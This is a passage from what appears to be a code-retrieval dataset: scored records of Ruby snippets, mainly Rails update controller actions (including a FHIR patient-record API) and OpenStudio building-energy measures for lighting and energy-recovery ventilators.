update.\n # fhir_map is of the form:\n # { attribute_name: { value: <converted-value>, path: <fhirpath-to-corresponding-fhir-element> } }\n fhir_map = patient_from_fhir(contents, default_patient_jurisdiction_id)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity(nil, nil, nil) && return if request_updates.nil?\n\n # Assign any remaining updates to the patient\n # NOTE: The patient.update method does not allow a context to be passed, so first we assign the updates, then save\n patient.assign_attributes(request_updates)\n\n # Wrap updates to the Patient, Transfer creation, and History creation in a transaction\n # so that they occur atomically\n ActiveRecord::Base.transaction do\n # Verify that the updated jurisdiction and other updates are valid\n unless jurisdiction_valid_for_update?(patient) && patient.save(context: :api)\n req_json = request.patch? ? patient.as_fhir.to_json : JSON.parse(request.body.string)\n status_unprocessable_entity(patient, fhir_map, req_json) && return\n end\n\n # If the jurisdiction was changed, create a Transfer\n if request_updates&.keys&.include?(:jurisdiction_id) && !request_updates[:jurisdiction_id].nil?\n Transfer.create!(patient: patient, from_jurisdiction: patient_before.jurisdiction, to_jurisdiction: patient.jurisdiction, who: @current_actor)\n end\n\n # Handle creating history items based on all of the updates\n update_all_patient_history(request_updates, patient_before, patient)\n end\n\n status_ok(patient.as_fhir) && return\n when 'relatedperson'\n return if doorkeeper_authorize!(\n :'user/RelatedPerson.write',\n :'user/RelatedPerson.*',\n :'system/RelatedPerson.write',\n :'system/RelatedPerson.*'\n )\n\n # Get the CloseContact that needs to be updated\n close_contact = get_record(CloseContact, params.permit(:id)[:id])\n status_forbidden && return if close_contact.nil?\n\n # Get the contents from applying a patch, if needed\n if request.patch? && !close_contact.nil?\n begin\n contents = apply_patch(close_contact, patch)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && return\n end\n end\n\n fhir_map = close_contact_from_fhir(contents)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity && return if request_updates.nil?\n\n # Assign any remaining updates to the close_contact\n close_contact.assign_attributes(request_updates)\n\n # Wrap updates to the CloseContact and History creation in a transaction\n ActiveRecord::Base.transaction do\n unless referenced_patient_valid_for_client?(close_contact, :patient_id) && close_contact.save(context: :api)\n req_json = request.patch? ? close_contact.as_fhir.to_json : JSON.parse(request.body.string)\n status_unprocessable_entity(close_contact, fhir_map, req_json) && return\n end\n\n Rails.logger.info \"Updated Close Contact (ID: #{close_contact.id}) for Patient with ID: #{close_contact.patient_id}\"\n History.close_contact_edit(patient: close_contact.patient_id,\n created_by: @current_actor_label,\n comment: \"Close contact edited via the API (ID: #{close_contact.id}).\")\n end\n status_ok(close_contact.as_fhir) && return\n when 'immunization'\n return if doorkeeper_authorize!(\n :'user/Immunization.write',\n :'user/Immunization.*',\n :'system/Immunization.write',\n :'system/Immunization.*'\n )\n\n # Get the Vaccine that needs to be updated\n vaccine = get_record(Vaccine, params.permit(:id)[:id])\n status_forbidden && return if vaccine.nil?\n\n # Get the contents from applying a patch, if needed\n if request.patch? && !vaccine.nil?\n begin\n contents = apply_patch(vaccine, patch)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && return\n end\n end\n\n fhir_map = vaccine_from_fhir(contents)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity && return if request_updates.nil?\n\n # Assign any remaining updates to the Vaccine\n vaccine.assign_attributes(request_updates)\n\n # Wrap updates to the Vaccine and History creation in a transaction\n ActiveRecord::Base.transaction do\n unless referenced_patient_valid_for_client?(vaccine, :patient_id) && vaccine.save\n req_json = request.patch? ? vaccine.as_fhir.to_json : JSON.parse(request.body.string)\n status_unprocessable_entity(vaccine, fhir_map, req_json) && return\n end\n\n Rails.logger.info \"Updated Vaccination (ID: #{vaccine.id}) for Patient with ID: #{vaccine.patient_id}\"\n History.vaccination_edit(patient: vaccine.patient_id,\n created_by: @current_actor_label,\n comment: \"Vaccination edited via the API (ID: #{vaccine.id}).\")\n end\n status_ok(vaccine.as_fhir) && return\n else\n status_not_found && return\n end\n rescue JSON::ParserError\n status_bad_request(['Invalid JSON in request body'])\n end", "title": "" }, { "docid": "848bfa6cbd0ceecdcedc7e6b3b6da2ed", "score": "0.5765514", "text": "def update\n @interp_item = InterpItem.find(params[:id])\n\n respond_to do |format|\n if @interp_item.update_attributes(params[:interp_item])\n format.html { redirect_to @interp_item, notice: 'Interp item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interp_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "adde87218ab7cca64aeeb5f0dd06dd90", "score": "0.57631993", "text": "def update\n respond_to do |format|\n if @generic_model.update(generic_model_params)\n format.html { redirect_to @generic_model, notice: 'Generic model was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_model }\n else\n format.html { render :edit }\n format.json { render json: @generic_model.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2feba41d0130db3880e9c296aad2f242", "score": "0.5761828", "text": "def update\n respond_to do |format|\n if @housing_request.update(housing_request_params)\n format.html { redirect_to @housing_request, notice: 'Housing request was successfully updated.' }\n format.json { render :show, status: :ok, location: @housing_request }\n else\n format.html { render :edit }\n format.json { render json: @housing_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b6fec253ce57897d9c492606f988d4a1", "score": "0.5760593", "text": "def supplier_update\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : User click the supplier update button\"\n begin\n \tparams.permit!\n \n #supplier = {\"id\": data[:id], \"name\": data[:name], \"email\": data[:email], \"phone_number\": data[:phone_number], \"address\": data[:address]}\n supplier = {:supplier => {\"id\": params[\"suppliers\"][:id], \"supplier_name\": params[:supplier_name],\"expiry_broken\": params[:suppliers][\"expiry_broken\"], \"supplier_abb\": params[:supplier_abb], \"address_one\": params[:address_one],\"addrsss_two\": params[:addrsss_two], \"addrsss_three\": params[:addrsss_three], \"gst_no\": params[:gst_no], \"order_copy_format\": params[\"order_copy_format\"], \"phone_number\": params[:phone_number], \"city\": params[:city], \"state\": params[:state], \"country\": params[:country], supplier_code: params[\"code\"], batch:params[\"batch\"]}}\n \n supplier = RestClient.put $api_service+'/suppliers/'+params[\"suppliers\"][:id],supplier\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : supplier Updated successfully\"\n rescue => e\n Rails.logger.custom_log.error { \"#{e} supplier_controller supplier_update method\" }\n end\n redirect_to :action => \"index\"#, :id => data[:id]\n end", "title": "" }, { "docid": "07cb25f42024ec84a4e613758ac08291", "score": "0.57584465", "text": "def update!(**args)\n @api_methods = args[:api_methods] unless args[:api_methods].nil?\n @resources = args[:resources] unless args[:resources].nil?\n end", "title": "" }, { "docid": "289e54a931fadb30622e879bc789310a", "score": "0.5756383", "text": "def update!(**args)\n @api_methods = args[:api_methods] if args.key?(:api_methods)\n @resources = args[:resources] if args.key?(:resources)\n end", "title": "" }, { "docid": "69d832de0fd8af98dc49fac264cd7ed2", "score": "0.5754471", "text": "def update\n authorize! :manage, Rhythm\n respond_to do |format|\n if @rhythm.update(rhythm_params.merge({ modality: Modality.find(rhythm_params[:modality]) }))\n format.html { redirect_to @rhythm, notice: t('action.update.succeed', entity: Rhythm.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rhythm.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17f22cad70a49391e492c08feca29c1f", "score": "0.57533896", "text": "def update\n respond_to do |format|\n if @impuesto_unico.update(impuesto_unico_params)\n format.html { redirect_to @impuesto_unico, notice: 'Impuesto unico actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @impuesto_unico }\n else\n format.html { render :edit }\n format.json { render json: @impuesto_unico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "720620670756ea03392b5430e0edbe50", "score": "0.57532793", "text": "def update\n @metric = Metric.friendly.find(params[:id]) \n respond_to do |format|\n if @metric.update(metric_params)\n format.html { redirect_to @metric, notice: 'Metric was successfully updated.' }\n format.json { respond_with_bip(@metric) }\n else\n format.html { render :edit }\n format.json { render json: @metric.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
4f74f96b0f40a3013fde62fb696963e1
end the arguments method define what happens when the measure is run
[ { "docid": "319ce3b945bd0408e4291b7249066f92", "score": "0.0", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n hw_cfl = runner.getDoubleArgumentValue(\"hw_cfl\",user_arguments)\n hw_led = runner.getDoubleArgumentValue(\"hw_led\",user_arguments)\n hw_lfl = runner.getDoubleArgumentValue(\"hw_lfl\",user_arguments)\n pg_cfl = runner.getDoubleArgumentValue(\"pg_cfl\",user_arguments)\n pg_led = runner.getDoubleArgumentValue(\"pg_led\",user_arguments)\n pg_lfl = runner.getDoubleArgumentValue(\"pg_lfl\",user_arguments)\n in_eff = runner.getDoubleArgumentValue(\"in_eff\",user_arguments)\n cfl_eff = runner.getDoubleArgumentValue(\"cfl_eff\",user_arguments)\n led_eff = runner.getDoubleArgumentValue(\"led_eff\",user_arguments)\n lfl_eff = runner.getDoubleArgumentValue(\"lfl_eff\",user_arguments)\n \n #Check for valid inputs\n if hw_cfl < 0 or hw_cfl > 1\n runner.registerError(\"Hardwired Fraction CFL must be greater than or equal to 0 and less than or equal to 1.\")\n return false\n end\n if hw_led < 0 or hw_led > 1\n runner.registerError(\"Hardwired Fraction LED must be greater than or equal to 0 and less than or equal to 1.\")\n return false\n end\n if hw_lfl < 0 or hw_lfl > 1\n runner.registerError(\"Hardwired Fraction LFL must be greater than or equal to 0 and less than or equal to 1.\")\n return false\n end\n if hw_cfl + hw_led + hw_lfl > 1\n runner.registerError(\"Sum of CFL, LED, and LFL Hardwired Fractions must be less than or equal to 1.\")\n return false\n end\n if pg_cfl < 0 or pg_cfl > 1\n runner.registerError(\"Plugin Fraction CFL must be greater than or equal to 0 and less than or equal to 1.\")\n return false\n end\n if pg_led < 0 or pg_led > 1\n runner.registerError(\"Plugin Fraction LED must be greater than or equal to 0 and less than or equal to 1.\")\n return false\n end\n if pg_lfl < 0 or pg_lfl > 1\n runner.registerError(\"Plugin Fraction LFL must be greater than or equal to 0 and less than or equal to 1.\")\n return false\n end\n if pg_cfl + pg_led + pg_lfl > 1\n runner.registerError(\"Sum of CFL, LED, and LFL Plugin Fractions must be less than or equal to 1.\")\n return false\n end\n if in_eff <= 0\n runner.registerError(\"Incandescent Efficacy must be greater than 0.\")\n return false\n end\n if cfl_eff <= 0\n runner.registerError(\"CFL Efficacy must be greater than 0.\")\n return false\n end\n if led_eff <= 0\n runner.registerError(\"LED Efficacy must be greater than 0.\")\n return false\n end\n if lfl_eff <= 0\n runner.registerError(\"LFL Efficacy must be greater than 0.\")\n return false\n end\n \n # Get building units\n units = Geometry.get_building_units(model, runner)\n if units.nil?\n return false\n end\n\n # Fractions hardwired vs plugin\n frac_hw = 0.8\n frac_pg = 0.2\n\n bab_frac_inc = 0.66\n bab_frac_cfl = 0.34\n bab_frac_led = 0.00\n bab_frac_lfl = 0.00\n\n # Incandescent fractions\n hw_inc = 1 - hw_cfl - hw_led - hw_lfl\n pg_inc = 1 - pg_cfl - pg_led - pg_lfl\n\n # Efficacy ratios\n bab_inc_ef = 15.0\n bab_cfl_ef = 55.0\n bab_led_ef = 80.0\n bab_lfl_ef = 88.0\n er_cfl = bab_inc_ef / cfl_eff\n er_led = bab_inc_ef / led_eff\n er_lfl = bab_inc_ef / lfl_eff\n er_inc = bab_inc_ef / in_eff\n bab_er_cfl = bab_inc_ef / bab_cfl_ef \n bab_er_led = bab_inc_ef / bab_led_ef \n bab_er_lfl = bab_inc_ef / bab_lfl_ef\n bab_er_inc = bab_inc_ef / bab_inc_ef\n\n # Smart Replacement Factor\n smrt_replce_f = (0.1672 * hw_inc ** 4 - 0.4817 * hw_inc ** 3 + 0.6336 * hw_inc ** 2 - 0.492 * hw_inc + 1.1561)\n\n # Calculate the lighting schedule\n weather = WeatherProcess.new(model, runner, File.dirname(__FILE__), header_only=true)\n if weather.error?\n return false\n end\n lat = weather.header.Latitude\n long = weather.header.Longitude\n tz = weather.header.Timezone\n std_long = -tz*15\n pi = Math::PI\n \n # Sunrise and sunset hours\n sunrise_hour = []\n sunset_hour = []\n normalized_hourly_lighting = [[1..24],[1..24],[1..24],[1..24],[1..24],[1..24],[1..24],[1..24],[1..24],[1..24],[1..24],[1..24]]\n for month in 0..11\n if lat < 51.49\n m_num = month+1\n jul_day = m_num*30-15\n if not (m_num < 4 or m_num > 10)\n offset = 1\n else\n offset = 0\n end\n declination = 23.45 * Math.sin(0.9863 * (284 + jul_day) * 0.01745329)\n deg_rad = pi/180\n rad_deg = 1/deg_rad\n b = (jul_day-1) * 0.9863\n equation_of_time = (0.01667 * (0.01719 + 0.42815 * Math.cos(deg_rad*b) - 7.35205 * Math.sin(deg_rad*b) - 3.34976 * Math.cos(deg_rad*(2*b)) - 9.37199 * Math.sin(deg_rad*(2*b))))\n sunset_hour_angle = rad_deg * (Math.acos(-1 * Math.tan(deg_rad*lat) * Math.tan(deg_rad*declination)))\n sunrise_hour[month] = offset + (12.0 - 1 * sunset_hour_angle/15.0) - equation_of_time - (std_long + long)/15\n sunset_hour[month] = offset + (12.0 + 1 * sunset_hour_angle/15.0) - equation_of_time - (std_long + long)/15\n else\n sunrise_hour = [8.125726064, 7.449258072, 6.388688653, 6.232405257, 5.27722936, 4.84705384, 5.127512162, 5.860163988, 6.684378904, 7.521267411, 7.390441945, 8.080667697]\n sunset_hour = [16.22214058, 17.08642353, 17.98324493, 19.83547864, 20.65149672, 21.20662992, 21.12124777, 20.37458274, 19.25834757, 18.08155615, 16.14359164, 15.75571306]\n end\n end\n \n dec_kws = [0.075, 0.055, 0.040, 0.035, 0.030, 0.025, 0.025, 0.025, 0.025, 0.025, 0.025, 0.030, 0.045, 0.075, 0.130, 0.160, 0.140, 0.100, 0.075, 0.065, 0.060, 0.050, 0.045, 0.045, 0.045, 0.045, 0.045, 0.045, 0.050, 0.060, 0.080, 0.130, 0.190, 0.230, 0.250, 0.260, 0.260, 0.250, 0.240, 0.225, 0.225, 0.220, 0.210, 0.200, 0.180, 0.155, 0.125, 0.100]\n june_kws = [0.060, 0.040, 0.035, 0.025, 0.020, 0.020, 0.020, 0.020, 0.020, 0.020, 0.020, 0.020, 0.020, 0.025, 0.030, 0.030, 0.025, 0.020, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.015, 0.020, 0.020, 0.020, 0.025, 0.025, 0.030, 0.030, 0.035, 0.045, 0.060, 0.085, 0.125, 0.145, 0.130, 0.105, 0.080]\n \n amplConst1 = 0.929707907917098\n sunsetLag1 = 2.45016230615269\n stdDevCons1 = 1.58679810983444\n amplConst2 = 1.1372291802273\n sunsetLag2 = 20.1501965859073\n stdDevCons2 = 2.36567663279954\n monthly_kwh_per_day = []\n days_m = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n wtd_avg_monthly_kwh_per_day = 0\n for monthNum in 1..12\n month = monthNum-1\n monthHalfHourKWHs = []\n # Calculate hour 12.5 first; others depend on it\n monthHalfHourKWHs[24] = june_kws[24] + ((dec_kws[24] - june_kws[24]) / 2.0 / 0.266 * (1.0 / 1.5 / ((2.0*pi)**0.5)) * Math.exp(-0.5 * (((6 - monthNum).abs - 6) / 1.5)**2)) + ((dec_kws[24] - june_kws[24]) / 2 / 0.399 * (1 / 1 / ((2 * pi)**0.5)) * Math.exp(-0.5 * (((4.847 - sunrise_hour[month]).abs - 3.2) / 1.0)**2))\n for hourNum in 0..10\n monthHalfHourKWHs[hourNum] = june_kws[hourNum]\n end\n for hourNum in 11..16\n hour = (hourNum + 1.0) * 0.5\n monthHalfHourKWHs[hourNum] = june_kws[11] + 0.005 * (sunrise_hour[month] - 3.0)**2.4 * Math.exp(-1.0 * ((hour - 8.0)**2) / (2.0 * 0.8**2)) / (0.8 * (2.0 * pi)**0.5)\n end\n for hourNum in 16..24\n hour = (hourNum + 1.0) * 0.5\n monthHalfHourKWHs[hourNum] = monthHalfHourKWHs[24] + 0.005 * (sunrise_hour[month] - 3.0)**2.4 * Math.exp(-1.0 * ((hour - 8.0)**2) / (2.0 * 0.8**2.0)) / (0.8 * (2.0 * pi)**0.5)\n end\n for hourNum in 25..38\n hour = (hourNum + 1.0) * 0.5\n monthHalfHourKWHs[hourNum] = (monthHalfHourKWHs[24] + amplConst1 * Math.exp((-1.0 * (hour - (sunset_hour[month] + sunsetLag1))**2) / (2.0 * ((25.5 / ((6.5 - monthNum).abs + 20.0)) * stdDevCons1)**2)) / ((25.5 / ((6.5 - monthNum).abs + 20.0)) * stdDevCons1 * (2.0*pi)**0.5))\n end\n for hourNum in 38..44\n hour = (hourNum + 1.0) * 0.5\n temp1 = (monthHalfHourKWHs[24] + amplConst1 * Math.exp((-1.0 * (hour - (sunset_hour[month] + sunsetLag1))**2) / (2.0 * ((25.5 / ((6.5 - monthNum).abs + 20.0)) * stdDevCons1)**2)) / ((25.5 / ((6.5 - monthNum).abs + 20.0)) * stdDevCons1 * (2.0*pi)**0.5))\n temp2 = (0.04 + amplConst2 * Math.exp((-1.0 * (hour - (sunsetLag2))**2) / (2.0 * (stdDevCons2)**2)) / (stdDevCons2 * (2.0*pi)**0.5))\n if sunsetLag2 < sunset_hour[month] + sunsetLag1\n monthHalfHourKWHs[hourNum] = [temp1, temp2].min\n else\n monthHalfHourKWHs[hourNum] = [temp1, temp2].max\n end\n end\n for hourNum in 44..48\n hour = (hourNum + 1) * 0.5\n monthHalfHourKWHs[hourNum] = (0.04 + amplConst2 * Math.exp((-1 * (hour - (sunsetLag2))**2) / (2 * (stdDevCons2)**2)) / (stdDevCons2 * (2*pi)**0.5))\n end\n sum_kWh = 0.0\n for timenum in 0..47\n sum_kWh = sum_kWh + monthHalfHourKWHs[timenum]\n end\n for hour in 0..23\n ltg_hour = (monthHalfHourKWHs[hour*2] + monthHalfHourKWHs[hour*2+1]).to_f\n normalized_hourly_lighting[month][hour] = ltg_hour/sum_kWh\n monthly_kwh_per_day[month] = sum_kWh/2.0 \n end\n \n wtd_avg_monthly_kwh_per_day = wtd_avg_monthly_kwh_per_day + monthly_kwh_per_day[month] * days_m[month]/365.0\n end\n \n # Calculate normalized monthly lighting fractions\n seasonal_multiplier = []\n sumproduct_seasonal_multiplier = 0\n normalized_monthly_lighting = seasonal_multiplier\n for month in 0..11\n seasonal_multiplier[month] = (monthly_kwh_per_day[month]/wtd_avg_monthly_kwh_per_day)\n sumproduct_seasonal_multiplier += seasonal_multiplier[month] * days_m[month]\n end\n \n for month in 0..11\n normalized_monthly_lighting[month] = seasonal_multiplier[month] * days_m[month] / sumproduct_seasonal_multiplier\n end\n \n # Calc schedule values\n lighting_sch = [[],[],[],[],[],[],[],[],[],[],[],[]]\n sch_max = 0.0\n for month in 0..11\n for hour in 0..23\n lighting_sch[month][hour] = normalized_monthly_lighting[month]*normalized_hourly_lighting[month][hour]/days_m[month]\n if lighting_sch[month][hour] > sch_max\n sch_max = lighting_sch[month][hour]\n end\n end\n end\n \n # Remove all existing lighting\n objects_to_remove = []\n model.getExteriorLightss.each do |exterior_light|\n objects_to_remove << exterior_light\n objects_to_remove << exterior_light.exteriorLightsDefinition\n if exterior_light.schedule.is_initialized\n objects_to_remove << exterior_light.schedule.get\n end\n end\n model.getLightss.each do |light|\n objects_to_remove << light\n objects_to_remove << light.lightsDefinition\n if light.schedule.is_initialized\n objects_to_remove << light.schedule.get\n end\n end\n if objects_to_remove.size > 0\n runner.registerInfo(\"Removed existing interior/exterior lighting from the model.\")\n end\n objects_to_remove.uniq.each do |object|\n begin\n object.remove\n rescue\n # no op\n end\n end\n\n tot_ltg = 0\n all_unit_garage_spaces = []\n num_units_without_garage = 0\n msgs = []\n sch = nil\n units.each do |unit|\n \n # Get unit ffa and finished spaces\n unit_finished_spaces = Geometry.get_finished_spaces(unit.spaces)\n ffa = Geometry.get_finished_floor_area_from_spaces(unit.spaces, false, runner)\n if ffa.nil?\n return false\n end\n \n # Get unit garage floor area\n unit_garage_spaces = Geometry.get_garage_spaces(unit.spaces, model)\n gfa = Geometry.get_floor_area_from_spaces(unit_garage_spaces)\n if unit_garage_spaces.size == 0\n num_units_without_garage += 1\n end\n\n # Interior lighting\n bm_hw_e = frac_hw * (ffa * 0.542 + 334)\n bm_pg_e = frac_pg * (ffa * 0.542 + 334)\n int_hw_e = (bm_hw_e * (((hw_inc * er_inc + (1 - bab_frac_inc) * bab_er_inc) + (hw_cfl * er_cfl - bab_frac_cfl * bab_er_cfl) + (hw_led * er_led - bab_frac_led * bab_er_led) + (hw_lfl * er_lfl - bab_frac_lfl * bab_er_lfl)) * smrt_replce_f * 0.9 + 0.1))\n int_pg_e = (bm_pg_e * (((pg_inc * er_inc + (1 - bab_frac_inc) * bab_er_inc) + (pg_cfl * er_cfl - bab_frac_cfl * bab_er_cfl) + (pg_led * er_led - bab_frac_led * bab_er_led) + (pg_lfl * er_lfl - bab_frac_lfl * bab_er_lfl)) * smrt_replce_f * 0.9 + 0.1))\n ltg_ann = int_hw_e + int_pg_e\n \n # Garage lighting\n if gfa > 0\n bm_garage_e = 0.08 * gfa + 8\n garage_ann = (bm_garage_e * (((hw_inc * er_inc + (1 - bab_frac_inc) * bab_er_inc) + (hw_cfl * er_cfl - bab_frac_cfl * bab_er_cfl) + (hw_led * er_led - bab_frac_led * bab_er_led) + (hw_lfl * er_lfl - bab_frac_lfl * bab_er_lfl)) * smrt_replce_f * 0.9 + 0.1))\n else\n garage_ann = 0.0 \n end\n \n # Finished/Garage spaces for the unit\n (unit_finished_spaces + unit_garage_spaces).each do |space|\n space_obj_name = \"#{Constants.ObjectNameLighting(unit.name.to_s)} #{space.name.to_s}\"\n\n if sch.nil?\n # Create schedule\n sch = HourlyByMonthSchedule.new(model, runner, Constants.ObjectNameLighting + \" schedule\", lighting_sch, lighting_sch)\n if not sch.validated?\n return false\n end\n end\n \n if unit_finished_spaces.include?(space)\n space_ltg_ann = ltg_ann * OpenStudio.convert(space.floorArea, \"m^2\", \"ft^2\").get / ffa\n elsif unit_garage_spaces.include?(space)\n space_ltg_ann = garage_ann * OpenStudio.convert(space.floorArea, \"m^2\", \"ft^2\").get / gfa\n end\n space_design_level = sch.calcDesignLevel(sch_max*space_ltg_ann)\n \n # Add lighting\n ltg_def = OpenStudio::Model::LightsDefinition.new(model)\n ltg = OpenStudio::Model::Lights.new(ltg_def)\n ltg.setName(space_obj_name)\n ltg.setSpace(space)\n ltg_def.setName(space_obj_name)\n ltg_def.setLightingLevel(space_design_level)\n ltg_def.setFractionRadiant(0.6)\n ltg_def.setFractionVisible(0.2)\n ltg_def.setReturnAirFraction(0.0)\n ltg.setSchedule(sch.schedule)\n\n msgs << \"Lighting with #{space_ltg_ann.round} kWhs annual energy consumption has been assigned to space '#{space.name.to_s}'.\"\n tot_ltg += space_ltg_ann\n \n end\n \n end\n \n # Common garage lighting (garages not associated with a unit)\n common_spaces = Geometry.get_all_common_spaces(model, runner)\n common_garage_spaces = Geometry.get_garage_spaces(common_spaces, model)\n common_gfa = Geometry.get_floor_area_from_spaces(common_garage_spaces)\n common_bm_garage_e = 0.08 * common_gfa + 8 * num_units_without_garage\n common_garage_ann = (common_bm_garage_e * (((hw_inc * er_inc + (1 - bab_frac_inc) * bab_er_inc) + (hw_cfl * er_cfl - bab_frac_cfl * bab_er_cfl) + (hw_led * er_led - bab_frac_led * bab_er_led) + (hw_lfl * er_lfl - bab_frac_lfl * bab_er_lfl)) * smrt_replce_f * 0.9 + 0.1))\n \n common_garage_spaces.each do |garage_space|\n space_obj_name = \"#{Constants.ObjectNameLighting} #{garage_space.name.to_s}\"\n \n if sch.nil?\n # Create schedule\n sch = HourlyByMonthSchedule.new(model, runner, Constants.ObjectNameLighting + \" schedule\", lighting_sch, lighting_sch)\n if not sch.validated?\n return false\n end\n end\n \n space_ltg_ann = common_garage_ann * OpenStudio.convert(garage_space.floorArea, \"m^2\", \"ft^2\").get / common_gfa\n space_design_level = sch.calcDesignLevel(sch_max*space_ltg_ann)\n \n # Add lighting\n ltg_def = OpenStudio::Model::LightsDefinition.new(model)\n ltg = OpenStudio::Model::Lights.new(ltg_def)\n ltg.setName(space_obj_name)\n ltg.setSpace(garage_space)\n ltg_def.setName(space_obj_name)\n ltg_def.setLightingLevel(space_design_level)\n ltg_def.setFractionRadiant(0.6)\n ltg_def.setFractionVisible(0.2)\n ltg_def.setReturnAirFraction(0.0)\n ltg.setSchedule(sch.schedule)\n\n msgs << \"Lighting with #{space_ltg_ann.round} kWhs annual energy consumption has been assigned to space '#{garage_space.name.to_s}'.\"\n tot_ltg += space_ltg_ann\n \n end\n \n # Exterior Lighting\n total_ffa = Geometry.get_finished_floor_area_from_spaces(model.getSpaces, true, runner)\n bm_outside_e = 0.145 * total_ffa\n outside_ann = (bm_outside_e * (((hw_inc * er_inc + (1 - bab_frac_inc) * bab_er_inc) + (hw_cfl * er_cfl - bab_frac_cfl * bab_er_cfl) + (hw_led * er_led - bab_frac_led * bab_er_led) + (hw_lfl * er_lfl - bab_frac_lfl * bab_er_lfl)) * smrt_replce_f * 0.9 + 0.1))\n\n space_design_level = sch.calcDesignLevel(sch_max*outside_ann)\n space_obj_name = \"#{Constants.ObjectNameLighting} exterior\"\n \n # Add exterior lighting\n ltg_def = OpenStudio::Model::ExteriorLightsDefinition.new(model)\n ltg = OpenStudio::Model::ExteriorLights.new(ltg_def)\n ltg.setName(space_obj_name)\n ltg_def.setName(space_obj_name)\n ltg_def.setDesignLevel(space_design_level)\n ltg.setSchedule(sch.schedule)\n \n msgs << \"Lighting with #{outside_ann.round} kWhs annual energy consumption has been assigned to the exterior'.\"\n tot_ltg += outside_ann\n\n #reporting final condition of model\n if msgs.size > 1\n msgs.each do |msg|\n runner.registerInfo(msg)\n end\n runner.registerFinalCondition(\"The building has been assigned lighting totaling #{tot_ltg.round} kWhs annual energy consumption across #{units.size} units.\")\n elsif msgs.size == 1\n runner.registerFinalCondition(msgs[0])\n else\n runner.registerFinalCondition(\"No lighting has been assigned.\")\n end\n\n return true\n \n end", "title": "" } ]
[ { "docid": "a2dd09cfd832ed391005833a8d9c1c5c", "score": "0.63879776", "text": "def measure(*args)\n raise RuntimeError,\n 'Ruler#measure called, but should be redefined by a real ruler.'\n end", "title": "" }, { "docid": "df1737ac90b4bc30e887a5813a4382f0", "score": "0.6341313", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n\n fan_pressure_increase_inH2O = runner.getDoubleArgumentValue(\"fan_pressure_increase_inH2O\",user_arguments) \n sensible_eff_at_100_heating = runner.getDoubleArgumentValue(\"sensible_eff_at_100_heating\",user_arguments)\t\t\n latent_eff_at_100_heating = runner.getDoubleArgumentValue(\"latent_eff_at_100_heating\",user_arguments)\t\n sensible_eff_at_75_heating = runner.getDoubleArgumentValue(\"sensible_eff_at_75_heating\",user_arguments)\t\n latent_eff_at_75_heating = runner.getDoubleArgumentValue(\"latent_eff_at_75_heating\",user_arguments) \n sensible_eff_at_100_cooling = runner.getDoubleArgumentValue(\"sensible_eff_at_100_cooling\",user_arguments)\t\n latent_eff_at_100_cooling = runner.getDoubleArgumentValue(\"latent_eff_at_100_cooling\",user_arguments)\t\n sensible_eff_at_75_cooling = runner.getDoubleArgumentValue(\"sensible_eff_at_75_cooling\",user_arguments)\t\n latent_eff_at_75_cooling = runner.getDoubleArgumentValue(\"latent_eff_at_75_cooling\",user_arguments)\t\n\n # Convert fan pressure rise to SI units\n fan_pressure_increase_Pa = OpenStudio.convert(fan_pressure_increase_inH2O,\"inH_{2}O\",\"Pa\").get\n \n # Count the number of airloops to determine if measure is applicable\n initial_airloops = model.getAirLoopHVACs\n if initial_airloops.size == 0\n runner.registerAsNotApplicable(\"Not Applicable - this model has no airloops to which ERVs can be added.\")\n return true\n end\n \n # Number of ERVs initially\n initial_ervs = model.getHeatExchangerAirToAirSensibleAndLatents.size\n if initial_ervs == 0\n runner.registerInitialCondition(\"This building has #{initial_airloops.size} air systems, none of which have energy recovery devices on their outdoor air systems.\")\n else\n runner.registerInitialCondition(\"This building has #{initial_airloops.size} air systems, #{initial_ervs} of which have energy recovery devices on their outdoor air systems.\")\n end\n \n # Loop through all air loops and add an ERV if one is not present\n airloops_ervd = []\n airloops_already_erv = []\n model.getAirLoopHVACs.each do |air_loop|\t\n # Skip to the next airloop if this airloop already has an ERV\n has_erv = false\n air_loop.oaComponents.each do |oa_comp|\n if oa_comp.to_HeatExchangerAirToAirSensibleAndLatent.is_initialized\n has_erv = true\n break\n end\n end\n if has_erv == true\n runner.registerInfo(\"#{air_loop.name} already has an ERV.\")\n airloops_already_erv << air_loop \n next\n end\n \n # Skip to the next airloop if this airloop has no OA intake to do heat recovery on\n if air_loop.airLoopHVACOutdoorAirSystem.empty?\n runner.registerInfo(\"#{air_loop.name} has no OA intake, cannot add ERV.\")\n next\n end \n \n # Get the OA system and its outboard OA node\n oa_system = air_loop.airLoopHVACOutdoorAirSystem.get\n oa_node = 